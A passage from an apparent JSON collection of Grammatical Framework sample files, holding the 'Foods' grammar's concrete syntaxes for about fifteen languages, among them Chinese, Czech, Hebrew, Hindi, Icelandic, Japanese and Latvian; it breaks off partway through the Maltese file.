    "content": "concrete FoodsChi of Foods = {\nflags coding = utf8 ;\nlincat\n    Comment, Item = Str ;\n    Kind = {s,c : Str} ; \n    Quality = {s,p : Str} ;\nlin\n    Pred item quality = item ++ \"是\" ++ quality.s ++ quality.p ;\n    This kind = \"这\" ++ kind.c ++ kind.s ;\n    That kind = \"那\" ++ kind.c ++ kind.s ;\n    These kind = \"这\" ++ \"些\" ++ kind.s ;\n    Those kind = \"那\" ++ \"些\" ++ kind.s ;\n    Mod quality kind = {\n      s = quality.s ++ quality.p ++ kind.s ;\n      c = kind.c\n      } ;\n    Wine  = geKind \"酒\" ;\n    Pizza = geKind \"比 萨 饼\" ;\n    Cheese  = geKind \"奶 酪\" ;\n    Fish  = geKind \"鱼\" ;\n    Very quality = longQuality (\"非 常\" ++ quality.s) ;\n    Fresh  = longQuality \"新 鲜\" ;\n    Warm  = longQuality \"温 热\" ;\n    Italian  = longQuality \"意 大 利 式\" ;\n    Expensive  = longQuality \"昂 贵\" ;\n    Delicious  = longQuality \"美 味\" ;\n    Boring  = longQuality \"难 吃\" ;\noper\n    mkKind : Str -> Str -> {s,c : Str} = \\s,c ->\n      {s = s ; c = c} ;\n    geKind : Str -> {s,c : Str} = \\s ->\n      mkKind s \"个\" ;\n    longQuality : Str -> {s,p : Str} = \\s ->\n      {s = s ; p = \"的\"} ;\n}\n"
  },
  {
    "path": "samples/Grammatical Framework/FoodsCze.gf",
    "content": "-- (c) 2011 Katerina Bohmova under LGPL\n\nconcrete FoodsCze of Foods = open ResCze in {\n  flags \n    coding = utf8 ;\n  lincat\n    Comment = {s : Str} ; \n    Quality = Adjective ; \n    Kind = Noun ; \n    Item = NounPhrase ;\n  lin\n    Pred item quality = \n      {s = item.s ++ copula ! item.n ++ \n           quality.s ! item.g ! item.n} ;\n    This  = det Sg \"tento\" \"tato\" \"toto\" ;\n    That  = det Sg \"tamten\" \"tamta\" \"tamto\" ;\n    These = det Pl \"tyto\" \"tyto\" \"tato\" ;\n    Those = det Pl \"tamty\" \"tamty\" \"tamta\" ;\n    Mod quality kind = {\n      s = \\\\n => quality.s ! kind.g ! n ++ kind.s ! n ;\n      g = kind.g\n      } ;\n    Wine = noun \"víno\" \"vína\" Neutr ;\n    Cheese = noun \"sýr\" \"sýry\" Masc ;\n    Fish = noun \"ryba\" \"ryby\" Fem ;\n    Pizza = noun \"pizza\" \"pizzy\" Fem ;\n    Very qual = {s = \\\\g,n => \"velmi\" ++ qual.s ! g ! n} ;\n    Fresh = regAdj \"čerstv\" ;\n    Warm = regAdj \"tepl\" ;\n    Italian = regAdj \"italsk\" ;\n    Expensive = regAdj \"drah\" ;\n    Delicious = regnfAdj \"vynikající\" ;\n    Boring = regAdj \"nudn\" ;\n}\n\n"
  },
  {
    "path": "samples/Grammatical Framework/FoodsDut.gf",
    "content": "-- (c) 2009 Femke Johansson under LGPL\n\nconcrete FoodsDut of Foods = {\n\n\tlincat\n\t\tComment = {s : Str};\n\t\tQuality = {s : AForm => Str};\n\t\tKind = { s : Number => Str};\n\t\tItem = {s : Str ; n : Number};\n\t\n\tlin\n\t\tPred item quality = \n\t\t\t{s = item.s ++ copula ! item.n ++ quality.s ! APred};\n\t\tThis = det Sg \"deze\";\n\t\tThese = det Pl \"deze\";\n\t\tThat = det Sg \"die\";\n\t\tThose = det Pl \"die\";\n\t\t\n\t\tMod quality kind =\n\t\t\t{s = \\\\n => quality.s ! AAttr ++ kind.s ! n};\n\t\t\tWine = regNoun \"wijn\";\n\t\t\tCheese = noun \"kaas\" \"kazen\";\n\t\t\tFish = noun \"vis\" \"vissen\";\n\t\t\tPizza = noun \"pizza\" \"pizza's\";\n\t\t\t\n\t\t\tVery a = {s = \\\\f => \"erg\" ++ a.s ! f};\n\t\t\t\n\t\t\tFresh = regadj \"vers\";\n\t\t\tWarm = regadj \"warm\";\n\t\t\tItalian = regadj \"Italiaans\";\n\t\t\tExpensive = adj \"duur\" \"dure\";\n\t\t\tDelicious = regadj \"lekker\";\n\t\t\tBoring = regadj \"saai\";\n\t\t\n\t\tparam\n\t\t\tNumber = Sg | Pl;\n\t\t\tAForm = APred | AAttr;\n\t\t\n\t\toper\n\t\t\tdet : Number -> Str ->\n\t\t\t\t{s : Number => Str} -> {s : Str ; n: Number} =\n\t\t\t\t\\n,det,noun -> {s = det ++ noun.s ! n ; n=n};\n\t\t\t\t\n\t\t\tnoun : Str -> Str -> {s : Number => Str} = \n\t\t\t\t\\man,men -> {s = table {Sg => man; Pl => men}};\n\t\t\t\t\n\t\t\tregNoun : Str -> {s : Number => Str} =\n\t\t\t\t\\wijn -> noun wijn (wijn + \"en\");\n\t\t\t\t\n\t\t\tregadj : Str -> {s : AForm => Str} =\n\t\t\t\t\\koud -> adj koud (koud+\"e\");\n\t\t\t\n\t\t\tadj : Str -> Str -> {s : AForm => Str} =\n\t\t\t\t\\duur, dure -> {s = table {APred => duur; AAttr => dure}};\n\t\t\t\t\n\t\t\tcopula : Number => Str =\n\t\t\t\ttable {Sg => \"is\" ; Pl => \"zijn\"};\n}\n"
  },
  {
    "path": "samples/Grammatical Framework/FoodsEng.gf",
    "content": "-- (c) 2009 Aarne Ranta under LGPL\n\nconcrete FoodsEng of Foods = {\n  flags language = en_US;\n  lincat\n    Comment, Quality = {s : Str} ; \n    Kind = {s : Number => Str} ; \n    Item = {s : Str ; n : Number} ; \n  lin\n    Pred item quality = \n      {s = item.s ++ copula ! item.n ++ quality.s} ;\n    This  = det Sg \"this\" ;\n    That  = det Sg \"that\" ;\n    These = det Pl \"these\" ;\n    Those = det Pl \"those\" ;\n    Mod quality kind = \n      {s = \\\\n => quality.s ++ kind.s ! n} ;\n    Wine = regNoun \"wine\" ;\n    Cheese = regNoun \"cheese\" ;\n    Fish = noun \"fish\" \"fish\" ;\n    Pizza = regNoun \"pizza\" ;\n    Very a = {s = \"very\" ++ a.s} ;\n    Fresh = adj \"fresh\" ;\n    Warm = adj \"warm\" ;\n    Italian = adj \"Italian\" ;\n    Expensive = adj \"expensive\" ;\n    Delicious = adj \"delicious\" ;\n    Boring = adj \"boring\" ;\n  param\n    Number = Sg | Pl ;\n  oper\n    det : Number -> Str -> \n      {s : Number => Str} -> {s : Str ; n : Number} = \n        \\n,det,noun -> {s = det ++ noun.s ! n ; n = n} ;\n    noun : Str -> Str -> {s : Number => Str} = \n      \\man,men -> {s = table {Sg => man ; Pl => men}} ;\n    regNoun : Str -> {s : Number => Str} = \n      \\car -> noun car (car + \"s\") ;\n    adj : Str -> {s : Str} = \n      \\cold -> {s = cold} ;\n    copula : Number => Str = \n      table {Sg => \"is\" ; Pl => \"are\"} ;\n}\n"
  },
  {
    "path": "samples/Grammatical Framework/FoodsEpo.gf",
    "content": "-- (c) 2009 Julia Hammar under LGPL\n\nconcrete FoodsEpo of Foods = open Prelude in {\n\n  flags coding =utf8 ;\n\n  lincat\n    Comment = SS ; \n    Kind, Quality = {s : Number => Str} ; \n    Item = {s : Str ; n : Number} ; \n\n  lin\n    Pred item quality = ss (item.s ++ copula ! item.n ++ quality.s ! item.n) ;\n    This = det Sg \"ĉi tiu\" ;\n    That  = det Sg \"tiu\" ;\n    These = det Pl \"ĉi tiuj\" ;\n    Those = det Pl \"tiuj\" ;\n    Mod quality kind = {s = \\\\n => quality.s ! n ++ kind.s ! n} ;\n    Wine = regNoun \"vino\" ;\n    Cheese = regNoun \"fromaĝo\" ;\n    Fish = regNoun \"fiŝo\" ;\n    Pizza = regNoun \"pico\" ;\n    Very quality = {s = \\\\n => \"tre\" ++ quality.s ! n} ;\n    Fresh = regAdj \"freŝa\" ;\n    Warm = regAdj \"varma\" ;\n    Italian = regAdj \"itala\" ;\n    Expensive = regAdj \"altekosta\" ;\n    Delicious = regAdj \"bongusta\" ;\n    Boring = regAdj \"enuiga\" ;\n\n  param\n    Number = Sg | Pl ;\n\n  oper\n    det : Number -> Str -> {s : Number => Str} -> {s : Str ; n : Number} = \n      \\n,d,cn -> {\n        s = d ++ cn.s ! n ;\n        n = n\n      } ;\n    regNoun : Str -> {s : Number => Str} = \n      \\vino -> {s = table {Sg => vino ; Pl => vino + \"j\"}\n\t} ;\n    regAdj : Str -> {s : Number => Str} =\n      \\nova -> {s = table {Sg => nova ; Pl => nova + \"j\"}\n      } ;\n    copula : Number => Str = \\\\_ => \"estas\" ;\n}\n    \n"
  },
  {
    "path": "samples/Grammatical Framework/FoodsFin.gf",
    "content": "--# -path=.:present\n\n-- (c) 2009 Aarne Ranta under LGPL\n\nconcrete FoodsFin of Foods = FoodsI with \n  (Syntax = SyntaxFin),\n  (LexFoods = LexFoodsFin) ;\n"
  },
  {
    "path": "samples/Grammatical Framework/FoodsFre.gf",
    "content": "--# -path=.:../foods:present\n\nconcrete FoodsFre of Foods = open SyntaxFre, ParadigmsFre in {\n\n\tflags coding = utf8 ;\n\t\n\tlincat\n\t\tComment = Utt ;\n\t\tItem = NP ;\n\t\tKind = CN ;\n\t\tQuality = AP ;\n\t\n\tlin\n\t\tPred item quality = mkUtt (mkCl item quality) ;\n\t\tThis kind = mkNP this_QuantSg kind ;\n\t\tThat kind = mkNP that_QuantSg kind ;\n\t\tThese kind = mkNP these_QuantPl kind ;\n\t\tThose kind = mkNP those_QuantPl kind ;\n\t\tMod quality kind = mkCN quality kind ;\n\t\tVery quality = mkAP very_AdA quality ;\n\t\t\n\t\tWine = mkCN (mkN \"vin\" masculine) ;\n\t\tPizza = mkCN (mkN \"pizza\" feminine) ;\n\t\tCheese = mkCN (mkN \"fromage\" masculine) ;\n\t\tFish = mkCN (mkN \"poisson\" masculine) ;\n\t\tFresh = mkAP (mkA \"frais\" \"fraîche\" \"frais\" \"fraîchement\") ;\n\t\tWarm = mkAP (mkA \"chaud\") ;\n\t\tItalian = mkAP (mkA \"italien\") ;\n\t\tExpensive = mkAP (mkA \"cher\") ;\n\t\tDelicious = mkAP (mkA \"délicieux\") ;\n\t\tBoring = mkAP (mkA \"ennuyeux\") ;\n\t}"
  },
  {
    "path": "samples/Grammatical Framework/FoodsGer.gf",
    "content": "--# -path=.:present\n\n-- (c) 2009 Aarne Ranta under LGPL\n\nconcrete FoodsGer of Foods = FoodsI with \n  (Syntax = SyntaxGer),\n  (LexFoods = LexFoodsGer) ;\n"
  },
  {
    "path": "samples/Grammatical Framework/FoodsHeb.gf",
    "content": "--# -path=alltenses\n\n--(c) 2009 Dana Dannells\n-- Licensed under LGPL\n\nconcrete FoodsHeb of Foods = open Prelude in {\n  \n  flags coding=utf8 ;\n\n    lincat\n      Comment = SS ;\n      Quality = {s: Number => Species => Gender =>  Str} ;  \n      Kind = {s : Number => Species => Str ; g : Gender ; mod : Modified} ; \n      Item = {s : Str ; g : Gender ; n : Number ; sp : Species ; mod : Modified} ; \n  \n \n    lin\n      Pred item quality = ss (item.s ++ quality.s ! item.n ! Indef ! item.g ) ; \n      This  = det Sg Def \"הזה\" \"הזאת\"; \n      That  = det Sg Def \"ההוא\" \"ההיא\" ; \n      These = det Pl Def \"האלה\" \"האלה\" ; \n      Those = det Pl Def \"ההם\" \"ההן\" ; \n      Mod quality kind = {\n\ts = \\\\n,sp => kind.s ! n ! sp ++ quality.s ! n ! sp ! kind.g;\n\tg = kind.g ;\n\tmod = T\n\t} ;     \n      Wine = regNoun \"יין\" \"יינות\" Masc ; \n      Cheese = regNoun \"גבינה\" \"גבינות\" Fem ;  \n      Fish = regNoun \"דג\" \"דגים\" Masc ; \n      Pizza = regNoun \"פיצה\" \"פיצות\" Fem ; \n      Very qual = {s = \\\\g,n,sp => \"מאוד\" ++  qual.s ! g ! n ! sp} ;\n      Fresh = regAdj \"טרי\" ; \n      Warm = regAdj \"חם\" ;\n      Italian = regAdj2 \"איטלקי\" ;\n      Expensive = regAdj \"יקר\" ; \n      Delicious = regAdj \"טעים\" ; \n      Boring = regAdj2 \"משעמם\"; \n\n    param \n      Number = Sg | Pl ;\n      Gender = Masc | Fem ;\n      Species = Def | Indef ;  \n      Modified = T | F ;\n\n    oper\n\tNoun : Type = {s : Number => Species => Str ; g : Gender ; mod : Modified } ;\n  \tAdj : Type = {s : Number => Species => Gender => Str} ;\n\n      det : Number -> Species -> Str -> Str -> Noun -> \n\t{s : Str ; g :Gender ; n : Number ; sp : Species ; mod : Modified} = \n        \\n,sp,m,f,cn -> {\n\t  s = case cn.mod of { _ => cn.s ! n ! sp ++ case cn.g of {Masc => m ; Fem  => f} };\n\t  g = cn.g ; \n          n = n ;\n\t  sp = sp ;\n\t  mod = cn.mod\n        } ;\n      \n\tnoun : (gvina,hagvina,gvinot,hagvinot : Str) ->  Gender -> Noun =  \n      \t\t\\gvina,hagvina,gvinot,hagvinot,g -> {\n        \ts = table {\n          \t\tSg  => table {\n             \t\t\tIndef => gvina ;\n             \t\t\tDef =>  hagvina \n            \t\t} ;\n          \t\tPl => table {\n             \t\t\tIndef => gvinot ;\n             \t\t\tDef => hagvinot  \n            \t\t} \n       \t  \t} ;\n        \tg = g ;\n\t\tmod = F \n      } ;\n\n\tregNoun : Str -> Str -> Gender -> Noun = \n\t        \\gvina,gvinot, g -> \n\t\tnoun gvina (defH gvina) gvinot (defH gvinot) g ; \n\n      defH : Str -> Str = \\cn ->\n\tcase cn of {_ => \"ה\" + cn};\t\n\n      replaceLastLetter : Str -> Str = \\c ->\n\t case c of {\"ף\" => \"פ\" ; \"ם\" => \"מ\" ; \"ן\" => \"נ\" ; \"ץ\" => \"צ\" ; \"ך\" => \"כ\"; _ => c} ;\n\t      \n      adjective : (_,_,_,_ : Str) -> Adj = \n       \\tov,tova,tovim,tovot -> {\n        s = table {\n          Sg => table { \n\t\t\tIndef => table { Masc => tov ; Fem => tova } ; \n\t\t\tDef => table { Masc => defH tov ; Fem => defH tova }  \n            \t\t} ; \n          Pl => table { \n\t\t\tIndef => table {Masc => tovim ; Fem  => tovot } ; \n\t\t\tDef => table { Masc => defH tovim ; Fem  => defH tovot }  \n            \t\t}\n\t}\n      } ;\n    \n      regAdj : Str -> Adj = \\tov ->\n\tcase tov of { to + c@? =>\n\tadjective tov (to + replaceLastLetter (c) + \"ה\" ) (to + replaceLastLetter (c) +\"ים\" ) (to + replaceLastLetter (c) + \"ות\" )};\t \n     \n     regAdj2 : Str -> Adj = \\italki ->\n \tcase italki of { italk+ c@? => \n    adjective italki (italk + replaceLastLetter (c)  +\"ת\" )  (italk + replaceLastLetter (c)+ \"ים\" ) (italk + replaceLastLetter (c)  + \"ות\" )};\n\n}  -- FoodsHeb  \n"
  },
  {
    "path": "samples/Grammatical Framework/FoodsHin.gf",
    "content": "-- (c) 2010 Vikash Rauniyar under LGPL\n\nconcrete FoodsHin of Foods = {\n\n  flags coding=utf8 ;\n\n  param\n    Gender = Masc | Fem ;\n    Number = Sg | Pl ;\n  lincat\n    Comment = {s : Str} ;\n    Item    = {s : Str ; g : Gender ; n : Number} ;\n    Kind    = {s : Number => Str ; g : Gender} ;\n    Quality = {s : Gender => Number => Str} ;\n  lin\n    Pred item quality = {\n      s = item.s ++ quality.s ! item.g ! item.n ++ copula item.n\n      } ;\n    This kind = {s = \"यह\" ++ kind.s ! Sg ; g = kind.g ; n = Sg} ;\n    That kind = {s = \"वह\" ++ kind.s ! Sg ; g = kind.g ; n = Sg} ;\n    These kind = {s = \"ये\" ++ kind.s ! Pl ; g = kind.g ; n = Pl} ;\n    Those kind = {s = \"वे\" ++ kind.s ! Pl ; g = kind.g ; n = Pl} ;\n    Mod quality kind = {\n      s = \\\\n => quality.s ! kind.g ! n ++ kind.s ! n ; \n      g = kind.g\n      } ;\n    Wine = regN \"मदिरा\" ;\n    Cheese = regN \"पनीर\" ;\n    Fish = regN \"मछली\" ;\n    Pizza = regN \"पिज़्ज़ा\" ;\n    Very quality = {s = \\\\g,n => \"अति\" ++ quality.s ! g ! n} ;\n    Fresh = regAdj \"ताज़ा\" ;\n    Warm = regAdj \"गरम\" ;\n    Italian = regAdj \"इटली\" ; \n    Expensive = regAdj \"बहुमूल्य\" ;\n    Delicious = regAdj \"स्वादिष्ट\" ;\n    Boring = regAdj \"अरुचिकर\" ;\n\n  oper\n    mkN : Str -> Str -> Gender -> {s : Number => Str ; g : Gender} = \n      \\s,p,g -> {\n        s = table {\n          Sg => s ;\n          Pl => p\n          } ;\n        g = g\n      } ;\n\n    regN : Str -> {s : Number => Str ; g : Gender} = \\s -> case s of {\n      lark + \"ा\" => mkN s (lark + \"े\") Masc ;\n      lark + \"ी\" => mkN s (lark + \"ीयँा\") Fem ;\n      _           => mkN s s Masc \n      } ;\n\n    mkAdj : Str -> Str -> Str -> {s : Gender => Number => Str} = \\ms,mp,f -> {\n      s = table {\n        Masc => table {\n          Sg => ms ;\n          Pl => mp\n          } ;\n        Fem  => \\\\_ => f\n        }\n      } ;\n\n    regAdj : Str -> {s : Gender => Number => Str} = \\a -> case a of {\n      acch + \"ा\" => mkAdj a (acch + \"े\") (acch + \"ी\") ;\n      _          => mkAdj a a a\n      } ;\n\n    copula : Number -> Str = \\n -> case n of {\n      Sg => \"है\" ;\n      Pl => \"हैं\"\n      } ;\n\n  }\n"
  },
  {
    "path": "samples/Grammatical Framework/FoodsI.gf",
    "content": "-- (c) 2009 Aarne Ranta under LGPL\n\nincomplete concrete FoodsI of Foods = \n    open Syntax, LexFoods in {\n  lincat\n    Comment = Utt ; \n    Item = NP ;\n    Kind = CN ;\n    Quality = AP ;\n  lin\n    Pred item quality = mkUtt (mkCl item quality) ;\n    This kind = mkNP this_Det kind ;\n    That kind = mkNP that_Det kind ;\n    These kind = mkNP these_Det kind ;\n    Those kind = mkNP those_Det kind ;\n    Mod quality kind = mkCN quality kind ;\n    Very quality = mkAP very_AdA quality ;\n\n    Wine = mkCN wine_N ;\n    Pizza = mkCN pizza_N ;\n    Cheese = mkCN cheese_N ;\n    Fish = mkCN fish_N ;\n    Fresh = mkAP fresh_A ;\n    Warm = mkAP warm_A ;\n    Italian = mkAP italian_A ;\n    Expensive = mkAP expensive_A ;\n    Delicious = mkAP delicious_A ;\n    Boring = mkAP boring_A ;\n}\n"
  },
  {
    "path": "samples/Grammatical Framework/FoodsIce.gf",
    "content": "--# -path=.:prelude\n\n-- (c) 2009 Martha Dis Brandt under LGPL\n\nconcrete FoodsIce of Foods = open Prelude in {\n\n  flags coding=utf8;\n\n  lincat\n    Comment = SS ;\n    Quality = {s : Gender => Number => Defin => Str} ;\n    Kind = {s : Number => Str ; g : Gender} ;\n    Item = {s : Str ; g : Gender ; n : Number} ;\n\n  lin\n    Pred item quality =  ss (item.s ++ copula item.n ++ quality.s ! item.g ! item.n ! Ind) ;\n         This, That  = det Sg \"þessi\"   \"þessi\"  \"þetta\" ;\n         These, Those = det Pl \"þessir\" \"þessar\" \"þessi\" ;\n    Mod quality kind = { s = \\\\n => quality.s ! kind.g ! n ! Def ++ kind.s ! n ; g = kind.g } ;\n         Wine = noun \"vín\" \"vín\" Neutr ;\n         Cheese = noun \"ostur\" \"ostar\" Masc ;\n         Fish = noun \"fiskur\" \"fiskar\" Masc ;\n         -- the word \"pizza\" is more commonly used in Iceland, but \"flatbaka\" is the Icelandic word for it\n         Pizza = noun \"flatbaka\" \"flatbökur\" Fem ;\n    Very qual = {s = \\\\g,n,defOrInd => \"mjög\" ++ qual.s ! g ! n ! defOrInd } ;\n         Fresh = regAdj \"ferskur\" ;\n         Warm = regAdj \"heitur\" ;\n         Boring = regAdj \"leiðinlegur\" ;\n         -- the order of the given adj forms is: mSg fSg nSg mPl fPl nPl mSgDef f/nSgDef _PlDef\n         Italian = adjective \"ítalskur\" \"ítölsk\" \"ítalskt\" \"ítalskir\" \"ítalskar\" \"ítölsk\" \"ítalski\" \"ítalska\" \"ítalsku\" ;\n         Expensive = adjective \"dýr\" \"dýr\" \"dýrt\" \"dýrir\" \"dýrar\" \"dýr\" \"dýri\" \"dýra\" \"dýru\" ;\n         Delicious = adjective \"ljúffengur\" \"ljúffeng\" \"ljúffengt\" \"ljúffengir\" \"ljúffengar\" \"ljúffeng\" \"ljúffengi\" \"ljúffenga\" \"ljúffengu\" ;\n\n  param\n    Number = Sg | Pl ;\n    Gender = Masc | Fem | Neutr ;\n    Defin = Ind | Def ;\n\n  oper\n    det : Number -> Str -> Str -> Str -> {s : Number => Str ; g : Gender} ->\n        {s : Str ; g : Gender ; n : Number} =\n      \\n,masc,fem,neutr,cn -> {\n        s = case cn.g of {Masc => masc ; Fem => fem; Neutr => neutr } ++ cn.s ! n ;\n        g = cn.g ;\n        n = n\n      } ;\n\n    noun : Str -> Str -> Gender -> {s : Number => Str ; g : Gender} =\n      \\man,men,g -> {\n        s = table {\n          Sg => man ;\n          Pl => men\n          } ;\n        g = g\n      } ;\n\n    adjective : (x1,_,_,_,_,_,_,_,x9 : Str) -> {s : Gender => Number => Defin => Str} =\n      \\ferskur,fersk,ferskt,ferskir,ferskar,fersk_pl,ferski,ferska,fersku -> {\n         s = \\\\g,n,t => case <g,n,t> of {\n            < Masc, Sg, Ind > => ferskur ;\n            < Masc, Pl, Ind > => ferskir ;\n            < Fem, Sg, Ind > => fersk ;\n            < Fem, Pl, Ind > => ferskar ;\n            < Neutr, Sg, Ind > => ferskt ;\n            < Neutr, Pl, Ind > => fersk_pl;\n            < Masc, Sg, Def > => ferski ;\n            < Fem, Sg, Def > | < Neutr, Sg, Def > => ferska ;\n            < _ , Pl, Def > => fersku\n            }\n          } ;\n\n    regAdj : Str -> {s : Gender => Number => Defin => Str} = \\ferskur ->\n      let fersk = Predef.tk 2 ferskur\n      in adjective\n        ferskur fersk (fersk + \"t\")\n        (fersk + \"ir\") (fersk + \"ar\") fersk\n        (fersk + \"i\") (fersk + \"a\") (fersk + \"u\") ;\n\n    copula : Number -> Str =\n      \\n -> case n of {\n        Sg => \"er\" ;\n        Pl => \"eru\"\n        } ;\n}\n"
  },
  {
    "path": "samples/Grammatical Framework/FoodsIta.gf",
    "content": "--# -path=.:present\n\n-- (c) 2009 Aarne Ranta under LGPL\n\nconcrete FoodsIta of Foods = FoodsI with \n  (Syntax = SyntaxIta),\n  (LexFoods = LexFoodsIta) ;\n\n"
  },
  {
    "path": "samples/Grammatical Framework/FoodsJpn.gf",
    "content": "--# -path=.:../lib/src/prelude\n\n-- (c) 2009 Zofia Stankiewicz under LGPL\n\nconcrete FoodsJpn of Foods = open Prelude in {\n\nflags coding=utf8 ;\n\n  lincat\n    Comment = {s: Style => Str};\n    Quality = {s: AdjUse => Str ; t: AdjType} ;\n    Kind = {s : Number => Str} ; \n    Item = {s : Str ; n : Number} ; \n\n  lin\n    Pred item quality = {s = case quality.t of {\n      IAdj => table {Plain => item.s ++ quality.s ! APred ; Polite => item.s ++ quality.s ! APred ++ copula ! Polite ! item.n } ;\n      NaAdj => \\\\p => item.s ++ quality.s ! APred ++ copula ! p ! item.n } \n      } ;\n    This  = det Sg \"この\" ;\n    That  = det Sg \"その\" ;\n    These = det Pl \"この\" ;\n    Those = det Pl \"その\" ;\n    Mod quality kind = {s = \\\\n => quality.s ! Attr ++ kind.s ! n} ;\n    Wine = regNoun \"ワインは\" ;\n    Cheese = regNoun \"チーズは\" ;\n    Fish = regNoun \"魚は\" ;\n    Pizza = regNoun \"ピザは\" ;\n    Very quality =  {s = \\\\a => \"とても\" ++ quality.s ! a ; t = quality.t } ;\n    Fresh = adj \"新鮮な\" \"新鮮\";\n    Warm = regAdj \"あたたかい\" ;\n    Italian = adj \"イタリアの\" \"イタリアのもの\";\n    Expensive = regAdj \"たかい\" ;\n    Delicious = regAdj \"おいしい\" ;\n    Boring = regAdj \"つまらない\" ;\n\n  param\n    Number = Sg | Pl ;\n    AdjUse = Attr | APred ;        -- na-adjectives have different forms as noun attributes and predicates\n    Style = Plain | Polite ;      -- for phrase types\n    AdjType = IAdj | NaAdj ;      -- IAdj can form predicates without the copula, NaAdj cannot\n\n  oper\n    det : Number -> Str -> {s : Number => Str} -> {s : Str ; n : Number} = \n      \\n,d,cn -> {\n        s = d ++ cn.s ! n ;\n        n = n\n      } ;\n   noun : Str -> Str -> {s : Number => Str} = \n      \\sakana,sakana -> {s = \\\\_ => sakana } ;\n\n   regNoun : Str -> {s : Number => Str} = \n      \\sakana -> noun sakana sakana ;\n\n   adj : Str -> Str -> {s : AdjUse => Str ; t : AdjType} =\n      \\chosenna, chosen -> {\n       s = table { \n         Attr => chosenna ;\n         APred => chosen\n       } ;\n       t = NaAdj \n      } ;\n   \n   regAdj : Str -> {s: AdjUse => Str ; t : AdjType} =\\akai -> {\n     s = \\\\_ => akai ; t = IAdj} ;\n\n    copula : Style => Number => Str = \n      table { \n        Plain => \\\\_ => \"だ\" ;\n        Polite => \\\\_ => \"です\" } ;\n\n}   \n"
  },
  {
    "path": "samples/Grammatical Framework/FoodsLav.gf",
    "content": "--# -path=.:prelude\n\n-- (c) 2009 Inese Bernsone under LGPL\n\nconcrete FoodsLav of Foods = open Prelude in {\n\n  flags\n    coding=utf8 ;\n    \n  lincat\n    Comment = SS ; \n    Quality = {s : Q => Gender => Number => Defin => Str } ; \n    Kind = {s : Number => Str ; g : Gender} ; \n    Item = {s : Str ; g : Gender ; n : Number } ; \n\n  lin\n    Pred item quality = ss (item.s ++ {- copula item.n -} \"ir\" ++ quality.s ! Q1 ! item.g ! item.n ! Ind ) ;\n      This  = det Sg \"šis\" \"šī\" ;\n      That  = det Sg \"tas\" \"tā\" ;\n      These = det Pl \"šie\" \"šīs\" ;\n      Those = det Pl \"tie\" \"tās\" ;\n    Mod quality kind = {s = \\\\n => quality.s ! Q1 ! kind.g ! n ! Def ++ kind.s ! n ; g = kind.g } ;\n      Wine = noun \"vīns\" \"vīni\" Masc ;\n      Cheese = noun \"siers\" \"sieri\" Masc ;\n      Fish = noun \"zivs\" \"zivis\" Fem ;\n      Pizza = noun \"pica\" \"picas\" Fem ;\n    Very qual = {s = \\\\q,g,n,spec => \"ļoti\" ++ qual.s ! Q2 ! g ! n ! spec }; \n \n      Fresh = adjective \"svaigs\" \"svaiga\" \"svaigi\" \"svaigas\" \"svaigais\" \"svaigā\" \"svaigie\" \"svaigās\" ;\n      Warm = regAdj \"silts\" ;\n      Italian = specAdj \"itāļu\" (regAdj \"itālisks\") ;\n      Expensive = regAdj \"dārgs\" ;\n      Delicious = regAdj \"garšīgs\" ;\n      Boring = regAdj \"garlaicīgs\" ;\n\n  param\n    Number = Sg | Pl ;\n    Gender = Masc | Fem ;\n    Defin = Ind | Def ;\n    Q = Q1 | Q2 ;\n\n  oper\n   det : Number -> Str -> Str -> {s : Number => Str ; g : Gender} -> \n        {s : Str ; g : Gender ; n : Number} = \n      \\n,m,f,cn -> {\n        s = case cn.g of {Masc => m ; Fem => f} ++ cn.s ! n ;\n        g = cn.g ;\n        n = n\n      } ;\n    noun : Str -> Str -> Gender -> {s : Number => Str ; g : Gender} = \n      \\man,men,g -> {\n        s = table {\n          Sg => man ;\n          Pl => men \n          } ;\n        g = g\n      } ;\n    adjective : (_,_,_,_,_,_,_,_ : Str) -> {s : Q => Gender => Number => Defin => Str} = \n      \\skaists,skaista,skaisti,skaistas,skaistais,skaistaa,skaistie,skaistaas -> {\n        s = table {\n\t\t  _ => table {\n            Masc => table {\n              Sg => table {Ind => skaists ; Def => skaistais} ;\n              Pl => table {Ind => skaisti ; Def => skaistie}\n              } ; \n            Fem => table {\n              Sg => table {Ind => skaista ; Def => skaistaa} ;\n              Pl => table {Ind => skaistas ; Def => skaistaas} \n              }\n            } \n\t\t  }\n        } ;\n      \n {-   irregAdj : Str -> {s : Gender => Number => Defin => Str} = \\itaalju ->\n     let itaalju = itaalju\n     in adjective itaalju (itaalju) (itaalju) (itaalju) (itaalju) (itaalju) (itaalju) (itaalju) ; -}\n     \n    regAdj : Str -> {s : Q => Gender => Number => Defin => Str} = \\skaists ->\n      let skaist = init skaists \n      in adjective skaists (skaist + \"a\") (skaist + \"i\") (skaist + \"as\") (skaist + \"ais\") (skaist + \"ā\") (skaist + \"ie\") (skaist + \"ās\");\n\n    Adjective : Type = {s : Q => Gender => Number => Defin => Str} ;\n\n\tspecAdj : Str -> Adjective -> Adjective = \\s,a -> {\n      s = table {\n        Q2 => a.s ! Q1 ;\n        Q1 => \\\\_,_,_ => s\n        }\t\t\n\t  } ;\n\t\n\t}\n"
  },
  {
    "path": "samples/Grammatical Framework/FoodsMlt.gf",
    "content": "-- (c) 2013 John J. Camilleri under LGPL\n\nconcrete FoodsMlt of Foods = open Prelude in {\n  flags coding=utf8 ;\n\n  lincat\n    Comment = SS ;\n    Quality = {s : Gender => Number => Str} ;\n    Kind = {s : Number => Str ; g : Gender} ;\n    Item = {s : Str ; g : Gender ; n : Number} ;\n\n  lin\n    -- Pred item quality = ss (item.s ++ copula item.n item.g ++ quality.s ! item.g ! item.n) ;\n    Pred item quality = ss (item.s ++ quality.s ! item.g ! item.n) ;\n\n    This kind = det Sg \"dan\" \"din\" kind ;\n    That kind = det Sg \"dak\" \"dik\" kind ;\n    These kind = det Pl \"dawn\" \"\" kind ;\n    Those kind = det Pl \"dawk\" \"\" kind ;\n\n    Mod quality kind = {\n      s = \\\\n => kind.s ! n ++ quality.s ! kind.g ! n ;\n      g = kind.g\n      } ;\n\n    Wine = noun \"inbid\" \"inbejjed\" Masc ;\n    Cheese = noun \"ġobon\" \"ġobniet\" Masc ;\n    Fish = noun \"ħuta\" \"ħut\" Fem ;\n    Pizza = noun \"pizza\" \"pizzez\" Fem ;\n\n    Very qual = {s = \\\\g,n => qual.s ! g ! n ++ \"ħafna\"} ;\n\n    Warm = adjective \"sħun\" \"sħuna\" \"sħan\" ;\n    Expensive = adjective \"għali\" \"għalja\" \"għaljin\" ;\n    Delicious = adjective \"tajjeb\" \"tajba\" \"tajbin\" ;\n    Boring = uniAdj 